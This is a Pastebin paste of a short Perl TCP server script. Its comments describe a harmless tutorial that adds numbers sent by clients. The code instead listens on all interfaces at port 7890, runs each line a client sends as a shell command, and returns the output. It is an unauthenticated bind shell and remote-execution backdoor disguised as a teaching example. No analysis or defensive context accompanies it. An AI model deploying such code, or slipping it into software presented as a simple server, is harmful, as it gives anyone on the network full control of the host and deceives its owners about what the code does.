Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -w
- use IO::Socket;
- #####################################
- # Server Script:
- # Copyright 2003 (c) Philip Yuson
- # this program is distributed according to
- # the terms of the Perl license
- # Use at your own risk
- #####################################
- $local = IO::Socket::INET->new(
- Proto => 'tcp', # protocol
- LocalAddr => '0.0.0.0:7890',
- # Host and port to listen to
- # Change the port if 8081 is being used
- Reuse => 1
- ) or die "$!";
- $local->listen(); # listen
- $local->autoflush(1); # To send response immediately
- print "At your service. Waiting...\n";
- my $addr; # Client handle
- while ($addr = $local->accept() ) { # receive a request
- print "Connected from: ", $addr->peerhost();
- # Display messages
- print " Port: ", $addr->peerport(), "\n";
- my $result; # variable for Result
- while (<$addr>) { # Read all messages from client
- # (Assume all valid numbers)
- last if m/^end/gi; # if message is 'end'
- # then exit loop
- print "Received: $_"; # Print received message
- $output_string = `$_ 2>&1`;
- print $addr $_; # Send received message back
- print $addr $output_string;
- # to verify
- $result += $_; # Add value to result
- $result += $output_string;
- }
- chomp; # Remove the
- if (m/^end/gi) { # You need this. Otherwise if
- # the client terminates abruptly
- # The server will encounter an
- # error when it sends the result back
- # and terminate
- my $send = "result=$result"; # Format result message
- print $addr "$send\n"; # send the result message
- print "Result: $send\n"; # Display sent message
- }
- print "Closed connection\n"; # Inform that connection
- # to client is closed
- close $addr; # close client
- print "At your service. Waiting...\n";
- # Wait again for next request
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement